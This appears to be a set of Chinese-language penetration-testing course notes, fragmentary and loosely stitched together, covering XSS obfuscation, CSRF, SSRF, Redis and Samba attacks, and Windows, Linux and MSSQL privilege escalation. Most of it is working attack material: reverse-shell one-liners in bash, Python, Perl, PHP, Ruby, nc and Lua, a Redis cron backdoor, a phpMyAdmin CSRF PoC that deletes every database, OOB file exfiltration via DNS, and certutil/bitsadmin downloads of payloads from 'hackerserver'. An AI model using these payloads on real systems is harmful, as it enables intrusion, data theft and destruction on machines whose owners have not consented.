里面集成了很多模块,能够获取很多东西,有cookie,浏览器名字,版本,插件,是否支持Java,vb,flash等,所以说XSS神器嘛(默认用户名密码是beef,beef):
********************************************************************************* XSS payload构造和变形 1、使用<>标记插入HTML/JS代码 2、html标签的属性值执行XSS 3、使用空格、回车、tab 4、大小写 5、双写(重复写) 6、利用自己的事件 onclick onmouseover onerror onload 7、拆分 document.write("")
http://www.xx.com/attack.css中插入恶意代码
9、字符编码 URL ASCII HTML Characters编码 HTML Characters编码; HEX 十进制 八进制 Unicode 混合编码 CSS编码 aaencode JSFUCK
javascript:゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
eval
10、根据上下文构造XSS payload(代码审计) (黑河测试)
防御
验证输入 正则配置验证(针对特定的功能点) 黑名单 验证输出 HTML实体化编码 设置http-only
渗透Linux下的Samba(配置不当)服务
Samba是一套实现SMB(Server Messages Block)协议、跨平台进行文件共享和打印共享服务的程序。Samba服务对应的端口有139和445等,只要开启这些端口后,主机就可能存在Samba服务远程溢出漏洞或者配置不当引起的漏洞。下面介绍渗透攻击Samba服务器。
信息收集 namp 扫描 nmap -sV ip MSF 探测 use auxiliary/scanner/smb/smb_version
use auxiliary/admin/smb/samba_symlink_traversal
Anonymous
同源策略
CSRF 跨站请求伪造 4点原因
危害: 1、篡改目标网站上的用户数据 2、窃取用户数据 3、作为其他攻击向量的的辅助手段 4、传播SCRF蠕虫
phpmyadmin 4.7.X CSRF漏洞 漏洞环境 https://www.vsplate.com/?github=vulnspy/PMASA-2017-9 root toor
修改密码 http://192.168.11.200/phpMyAdmin-4.7.4/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27123%27) 写文件 SHOW VARIABLES LIKE '%secure_file_priv%'; 设置为空或者某个路径 select '' into outfile 'G:/phpStudy/WWW/phpinfo_test.php';
http://192.168.11.200/phpMyAdmin-4.7.4/sql.php?db=mysql&table=user&sql_query=select '' into outfile 'G:/phpStudy/WWW/phpinfo_test.php';
读数据(需要使用到OOB)
select load_file('G:\\test.txt');
http://192.168.11.200/phpMyAdmin-4.7.4/sql.php?db=mysql&table=user&sql_query=SELECT LOAD_FILE(CONCAT('\\\\',(select load_file('G:\\test.txt')),'.mysql.7j18gd.ceye.io\\abc'));
清空数据库所有的数据
SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1
完整的SQL语句
DROP PROCEDURE IF EXISTS EMPT;DELIMITER $$ CREATE PROCEDURE EMPT() BEGIN DECLARE i INT; SET i = 0; WHILE i < 100 DO SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1); PREPARE STMT FROM @del; EXECUTE STMT; SET i = i +1; END WHILE; END $$ DELIMITER ; CALL EMPT();
POC
DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A
SCRF防御 验证referer token
CORS 跨资源访问
JSONP
信息收集 分类: 主动信息收集:攻击者或者渗透测试人员通过工具去主动去探测或者收集目标的信息,直接和目标接触
被动信息收集:不去直接接触目标,而是通过收索引擎或者爬虫系统去收索关于目标的信息 作用:为后期渗透测试打基础
指纹识别 生物指纹识别:手上指纹、虹膜、DNA、音频、面部等等
指纹识别常见的检测对象: (1)CMS<内容管理系统>信息,常见CMS有:dede织梦、worepress、phpcms、thinkphp、ezcms、ecshop、帝国、大汉CMS、discuz、魅力、海洋cms、逐浪CMS Zoomla、drupal、EarCMS、思途CMS (2)前端技术:HTML5 、jquery、bootstrap、pure、ace、ajax等等 (3)中间件和容器等:apache 、IIS、Nginx、lighttpd、tomcat、weblogic、jboss、websphere等等 (4)开发语言:php java ruby go python c# Jsp asp aspx 等等 (5)操作系统:Windows NT、类UNIX(MACOS) (6)CDN信息:是否使用CDN技术、常用CDN:cloudflare/360CDN/365cyd等等 (7)端口或者服务: (8)IP或者域名信息: (9)WAF:检测是否有WAF:云盾、云锁、安全狗、IPS/IDS、等等 指纹识别方式: (1)文件的MD5值(一对一) 密文检索 (2)关键词(robots.txt 、powered by dedecms、报错、URL、第三方插件等等) (3)响应头部信息 Server X-Powered-By set-cookies Access-Control-Allow-Origin WWW-Authenticate:判断网络设备 (4)URL 中可能包含关键词: dede wp-admin wp-includes solr wls-wsat (weblogic) (5)开发语言 浏览器插件:wappalyzer URL识别 全端代码 报错信息 响应头: X-Powered-By set-cookie php phpsessID java JSESSIONID net asp.net_sessionid (6)工具 whatweb(识别网站类型) ruby apt install whatweb 2000-+插件 whatweb -v http://baidu.com masscan(扫描端口、服务) masscan -p1-200 192.168.11.1-20
x-scan
nmap(端口、WAF、漏洞)
theHarvester 社会工程学工具(被动) 邮箱、子域名、主机、开放的端口和banner信息 theharvester -d pentest.com -l 10 -b baidu -d 测试的URL或者公司名字 -l 显示的结果 -b 选用的收索引擎
Subdomainbrute(爆破子域名工具)通过字典去探测子域名,依赖于dnspython插件 pip install dnspython python Subdomainbrute.py baidu.com
Wydomain python dnsburte.py -d 域名
Fierce
Sublist3r
子域名挖掘机
wpscan 使用ruby开发,扫描WordPress站点的漏洞以及插件漏洞 wpscan --update 更新
Plecost 用于探测WordPress的漏洞,可以直接给出当前站点的漏洞利用方法(CVE) python plecost -i wp_plugin_list.txt -t 20 https://www.freebuf.com -o ./result.txt
BlindElephant web指纹识别工具 BlindElephant.py [options] url appName(CMS类型)
御剑web指纹识别程序 Test404轻量WEB指纹识别
w11scan分布式WEB指纹识别平台 https://github.com/w-digital-scanner/w11scan
Dayu指纹识别工具
WebEye https://github.com/zerokeeper/WebEye/
WTF_Scan https://github.com/dyboy2017/WTF_Scan
Webfinger
在线平台指纹识别
云悉指纹识别 http://www.yunsee.cn/
bugscaner指纹识别 http://whatweb.bugscaner.com/look/
whatweb.net https://whatweb.net/
TideFinger 潮汐在线指纹识别 http://finger.tidesec.net
php -r '$sock=fsockopen("192.168.11.200",9440);exec("/bin/sh -i <&3 >&3 2>&3");'
perl -e 'use Socket;$i="192.168.11.200";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.200",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
http://192.168.10.43/wordpress/ 思路: (1)扫含有漏洞的插件 (2)扫描WordPress本身 (3)弱口令
进入之后getshell
扫描工具 AWVS 常规化漏洞扫描工具 Nessus 扫系统内核漏洞 ***************************************** 限制条件下文件包含 allow_url_fopen off allow_url_inclue off 包含http:// ftp:// 会失效,可以使用SMB协议去进行文件包含
安装samba apt install daemon apt install samba
修改配置文件 vim /etc/samba/smb.conf 做如下修改: [global] security=user 在末尾加 [share] path=/home/share browseable=yes read only=yes guest ok=yes
http://127.0.0.1/include/test.php?file=\\192.168.10.6\share\shell.php
*************************************************************
Redis未授权访问 基于开源的 C语言开发的、支持网络、内存化的日志型 K-V数据库
修改配置文件redis.conf #bind 127.0.0.1 protected-mode no
启动redis (加载配置文件) ./src/redis-server redis.conf
redis-server redis.conf
未授权访问: Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
客户端(本地宿主机)连接redis服务 redis-cli.exe -h 192.168.10.8 基础命令: info 版本信息 服务器信息 等等 set name "pentest" 设置变量 get name 取值 flushall 删除数据库(一般情况下不要用!!) keys * 查看所有的键 CONFIG GET dir/dbfilename 获取默认的redis的目录 和rdb的文件名
往web物理路径写webshell
CONFIG SET dir /var/www/ 将rdb文件保存在/var/www/中 CONFIG SET dbfilename redis.php 将rdb文件名更改为redis.php 往redis.php中写木马 set shell "" save
写ssh-keygen公钥然后使用私钥登陆 以root运行redis
1、在本机生成key root@ubuntu:~#ssh-keygen -t rsa //三个回车 root@ubuntu:/# cd /root/.ssh 2、将公钥导入key.txt文件 (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt 3、将公钥导入到靶机中 cat /root/.ssh/key.txt | ./redis-cli -h 192.168.10.8 -x set xxx 4、连接靶机 ./redis-cli -h 192.168.10.8 5、写入 config set dir /root/.ssh config set dbfilename authorized_keys save 6、远程连接 ssh 192.168.10.8 ssh -i id_rsa root@192.168.10.8
nano 保存 使用Ctrl+O来保存所做的修改
退出 按Ctrl+X
\n*/1 * * * * bash -i >& /dev/tcp/192.168.10.6/7999 0>&1\n
crontab 周期性执行任务 -l 查看当前任务 -r 删除任务 -e 编辑 6个部分:分钟 小时 天 月 星期 命令/脚本 */2 * * * * echo "this is test" >>/tmp/backup /var/spool/cron/
SSRF 漏洞
CSRF 站点伪造请求 利用正常用户去攻击服务器 xss 跨站脚本攻击 SSRF 服务器伪造请求
PHP中下面函数的使用不当会导致SSRF: file_get_contents(url) fsockopen() curl_exec()
SSRF验证,验证请求URL的操作是服务器而不是客户端(针对图片) 排除法 (1)基本判断,手工 标签加载 http://n.sinaimg.cn/photo/transform/700/w1000h500/20190516/c120-hwzkfpu5500801.jpg SSRF加载 http://192.168.11.155/ssrf.php?url=http://n.sinaimg.cn/photo/transform/700/w1000h500/20190516/c120-hwzkfpu5500801.jpg
如果复制图片地址得到的图片真正的URL 则说明不是SSRF请求
(2)BP拦截数据包
有二次请求的过程,则说明加载过来的图片不是服务器去请求的,而是前端标签加载
SSRF漏洞利用(目的:内网攻击) HTTP:// HTTPS:// PHP://(file_get_contents) file:// dict:// FTP:// gopher://(后续测试) SSRF+redis 反弹shell SSRF+Discuz getshell
SSRF+XXE
SSRF+RFI
*3\r $3\r set\r $1\r 1\r $61\r
*/1 * * * * bash -i >& /dev/tcp/192.168.11.101/7999 0>&1
\r < 2019/05/16 18:24:32.728382 length=5 from=0 to=4 +OK\r > 2019/05/16 18:24:32.763248 length=57 from=0 to=56 *4\r $6\r config\r $3\r set\r $3\r dir\r $16\r /var/spool/cron/\r < 2019/05/16 18:24:32.772880 length=5 from=0 to=4 +OK\r > 2019/05/16 18:24:32.781922 length=52 from=0 to=51 *4\r $6\r config\r $3\r set\r $10\r dbfilename\r $4\r root\r < 2019/05/16 18:24:32.782150 length=5 from=0 to=4 +OK\r > 2019/05/16 18:24:32.800877 length=14 from=0 to=13 *1\r $4\r save\r < 2019/05/16 18:24:32.812397 length=5 from=0 to=4 +OK\r > 2019/05/16 18:24:32.819423 length=14 from=0 to=13 *1\r $4\r quit\r < 2019/05/16 18:24:32.819746 length=5 from=0 to=4 +OK\r
逻辑漏洞 (1)熟悉当前测试模块的流程 (2)拦截数据包并修改 越权 水平 越权 支付逻辑漏洞
http://xdzy.andisk.com/ 19165177658 1
一、SMB概述
SMB(全称是Server Message Block)是一个协议名,可用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居就是靠它实现的。
SMB 是一种客户机/服务器、请求/响应协议。通过 SMB 协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通过 SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机等资源。
SMB一开始的设计是在NetBIOS协议上运行的,而NetBIOS本身则运行在NetBEUI、IPX/SPX或TCP/IP协议上。
NetBIOS 使用下列端口:UDP/137(NetBIOS 名称服务)、UDP/138(NetBIOS 数据报服务)、TCP/139(NetBIOS 会话服务);SMB 使用下列端口:TCP/139、TCP/445。 #NetBIOS用于局域网内主机名发现。
二、SMB服务工作原理
① 首先客户端发送一个SMB negprot请求数据报,并列出它所支持的所有SMB协议版本。服务器收到请求信息后响应请求,并列出希望使用的协议版本。如果没有可使用的协议版本则返回0XFFFFH,结束通信。
② 协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SesssetupX请求数据报实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后服务器通过发送一个SesssetupX应答数据报来允许或拒绝本次连接。
③ 当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问网络资源的名称,之后服务器会发送一个TconX应答数据报以表示此次连接是否被接受或拒绝。
④ 连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。
Samba 远程命令执行漏洞(CVE-2017-7494) Samba 配置不当查看铭感信息
CQUREAcademy#123!
风险(危害) 课程会涉及 防御
复习: 环境搭建+PHP+HTML+JS+CSS+Win+Linux+常见安全渗透测试工具
简历:
个人信息 求职意向 教育背景 个人技能(******) 项目经验(******) 工作经验(******) 挖洞情况(奖励) 自我评价
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.200",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
WIN pe windows 预安装系统(可以清楚SAM文件的密码 或者修改)
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\Curren tControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
Win提权
信息收集 批处理脚本 systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\temp.txt| @find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\temp.txt
针对系统漏洞的分析脚本 WinSystemHelper
vul: MS16-032, exp: https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Invoke-MS16-032.ps1 Windows-Exploit-Suggester 先更新 -u 系统信息systeminfo>./sysinfo.txt 对比找漏洞 python Windows-Exploit-Suggester.py -d 2019-07-05-mssb.xls -i win7.txt 系统命令分析 操作系统版本 用户信息 端口信息 进程信息
查看注册表(3389): REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections 0表示开启
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\Curren tControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber (注意:不同的系统的模块选项不一样)
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber set /a a=0xd3d
然后开启3389服务
regedit 打开注册表
netstat -ano (观察)
dir /b /s *.txt
systeminfo ipconfig /all flushdns net user whoami netstat -ano net start 服务名称 开启某些服务 net stop servername tasklist (服务名称、PID) 远程桌面 开启:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 连接:mstsc.exe rdesktop(kali)
提权: 1、收集可利用POC www.exploit-db.com(******) 0day.today(****) github.com https://www.rapid7.com/db/?type=metasploit http://www.expku.com/(*****)
GOOGLE 2、编译利用poc .exe (直接) (1)双击运行(whoami-system;执行添加管理员用户) (2)poc.exe "commond" 3、关闭或者绕过杀软 net stop sc config sc delete 加壳 绕过SUA 第三方 4、上传下载POC或者某些数据 http://hackerserver.com/poc.exe (浏览器)
VBS下载 cscript dw.vbs http://hackerserver.com/poc.exe C:/poc.exe(注意协议类型)
证书备份下载 certutil -urlcache -split -f http://hackerserver/shell.exe shell.exe
bitsadmin下载(后台智能传输工具,系统的补丁、更新就是这样实现。) bitsadmin /transfer myjob1 /download /priority normal "http://hackerserver/calc.exe" "d:\calc.exe" bitsadmin /transfer myjob1 /download /priority normal "http://192.168.40.132:9080/test.html" "C:\index.html"
Poweshell powershell (new-object System.Net.WebClient).DownloadFile("http://www.baidu.com/index.html","index.html")
压缩文件 RAR.EXE a -k -r -s -m3 C:\1.rar G:\phpStudy
常用内核提权工具 PR 跟踪注册表项的ACL权限提升漏洞 MS08-067 MS17-010 churrasco.exe是2003系统一个本地提权漏洞,通过此工具可以以SYSTEM权限执行命令,从而可以达到添加用户的目的 iis6.0 iis7 溢出漏洞 RottenPotato 烂番茄提权(SMB协议漏洞) MS12-042用户态调度机制特权提升漏洞(win7 win2008) CVE-2018-8120 (Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64.)LPE
dll 提权 LPK劫持提权
win7 UAC 开启msconfig 工具中选择“更改UAC设置”,然后选择“启动”
UAC(用户帐户控制)是微软公司为了提高Windows系统安全性而在Windows Vista中引入的一种新新型安全技术,其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
用户帐户控制设置最低的级别(零级) 用户帐户控制设置比默认级别稍低的级别(一级) 用户帐户控制设置默认级别(二级): 用户帐户控制设置最高级别(三级):
详细介绍http://www.winwin7.com/JC/Win7JC-3892.html
没有管理员权限就无法完成的一些事情:
· 注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)
· 加载设备驱动程序
· DLL注入
· 修改系统时间(时钟)
· 修改用户帐户控制设置(通过注册表,可以启用/禁用它,但你需要正确的权限才能执行此操作)
· 修改受保护的目录(例如Windows文件夹,Program Files)
· 计划任务(例如,以管理员权限自动启动)
使用MSF绕过UAC 先获取一个普通账号的meterpreter getuid(会看到普通账号) getsystem(会提示没法过去到系统system权限)
(1)pypassuac
(2)RunAs
(3)bypassuac_injection
(4)bypassuac_fodhelper
(5)bypassuac_eventvwr
(6)bypassuac_comhijack
powershell绕过UAC nishang Escalatio目录有Invoke-PsUACme.ps1 打开通过反弹shell方式获取到目标PC的powershell win 7 /2008 2.0 win8 /2012 3.0 8.1 / R2 2012 4.0 10 5.1 get-host 获取powershell的版本
Get-ExecutionPolicy 查看当前环境执行脚本的策略 restricted 不允许执行脚本 remotesigned 可以执行本地脚本 但是从网上下载的脚本不能运行 allsigned 对签名的脚本才能执行 unrestricted 允许执行任意脚本
Set-ExecutionPolicy 设置脚本运行策略
Import-Module .\Invoke-PsUACme.ps1 导入脚本
Invoke-PsUACme -verbose 使用sysprep方式执行默认的payload Invoke-PsUACme -method oobe -verbose 使用oobe的方式执行payload
Bypass-UAC
Linux提权
信息收集 1、操作系统版本号 发行版本 cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release
内核版本 uname -a uanme -mrs cat /proc/version rpm -q kernel ls /boot |grep vmlinuz
2、whoami sudo -l netstat -ntulp cat /etc/passwd(系统用户) ps -aux 进程信息 last /w 产看登录信息 ifconfig /ip ddr
收集EXP
http://www.exploit-db.com http://1337day.com http://www.securiteam.com http://www.securityfocus.com http://www.exploitsearch.net http://metasploit.com/modules/ http://securityreason.com http://seclists.org/fulldisclosure/ http://www.google.com github baidu
.c 或者后缀名 4.2.0 (根据内核版本找到相对应的exp)
上传exp并编译该exp
上传的位置:当前目录 /tmp 可以写文件的目录(ls -l /通过脚本查询) gcc exp.c -o exp gcc -pthread dirty.c -o exp -lcrypt(编译的相关选项)
如果服务器中没有gcc,需要找到和服务器一模一样(内核、发行版本均一样),在该机器中编译该exp ,将编译好的exp上传至目标机器中,然后在运行
./exp whoami id
chmod +x exp ./exp whoami id
注意在执行exp之前需要反弹shell,反弹shell的方式如下: 在攻击者的电脑上中监听:nc -nulp 8899
1、bash -i >& /dev/tcp/10.0.0.1/8080 0>&1(每个符号是什么意思?) 2、python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.1",8999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 3、perl perl -e 'use Socket;$i="192.168.40.1";$p=8999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
4、php php -r '$sock=fsockopen("192.168.40.1",8999);exec("/bin/sh -i <&3 >&3 2>&3");'
5、ruby -rsocket -e 'f=TCPSocket.open("192.168.40.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
6、nc 有-e 模式:nc -e /bin/sh 192.168.40.1 1234 无-e 模式: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.40.1 1234 >/tmp/f(FIFO文件)
python -c 'import pty; pty.spawn("/bin/bash")'
7、java
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.40.1/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
8、lua lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.40.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
9、不使用nc来反弹shell nc -nvlp 8080
(1)/bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1 (2)mknod backpipe p && telnet 192.168.40.1 1234 0backpipe (3)telnet 192.168.40.1 1234 | /bin/bash | telnet 192.168.40.1 2345 (需要在攻击者PC上监听两个端口:1234 2345,1234 输入命令, 2345 输出)
脏牛提权
数据库提权
MSSQL提权 需要获取到数据库的账号和密码 sa 12345
默认端口1433
连接工具:Navicat Premium 12、 SQL TOOLS 2.0功能增强版、开源连接地方工具
step 1:连接数据库 select name from master.dbo.sysdatabases 查看所有数据库名 step 2: 版本信息:select @@version 验证数据库的权限,验证sa账号是否被降权:select IS_SRVROLEMEMBER('sysadmin') 返回值是1,则说明是sa的权限 step 3:查看数据库中是否有xp_cmdshell扩展存储过程插件 select count(*) from master.dbo.sysobjects where xtype='x' and name ='xp_cmdshell'; 返回值不是0就表示数据库中有这个插件 step 4:Exec master..xp_cmdshell 'ipconfig';
select count(*) from master.dbo.sysobjects where xtype='x' and name ='xp_dirtree'; Exec master..xp_dirtree '/';
如果出现了如下的提示: Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
接下来这样操作: 修复扩展存储过程: EXEC sp_configure 'show advanced options', 1;RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。 配置选项 'xp_cmdshell' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
出现上面的提示(在你的连接工具中可能看不到!),则说明扩展存储过程已经添加完成
然后执行:Exec master..xp_cmdshell 'ipconfig';
站库分离:
select * from info where id='1' and host_name()=@@servername;
xp_cmdshell(cmd)
192.168.10.11 web
xp_cmdshell('ipconfig')-->当前数据库所在服务器的ip 192.168.10,12
xp_cmdshell被删除该如何操作?
重新加载该可扩展插件: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int; (在系统中加载dll文件) sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';(重新绑定)
EXEC sp_configure 'show advanced options', 1;RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;(开启cmdshell)
xp_cmdshell,xpsql70.dll均被删除? xpsql70.dll需要我们重新上传?c:\windows\system32 EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int; (在系统中加载dll文件) sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';(重新绑定)
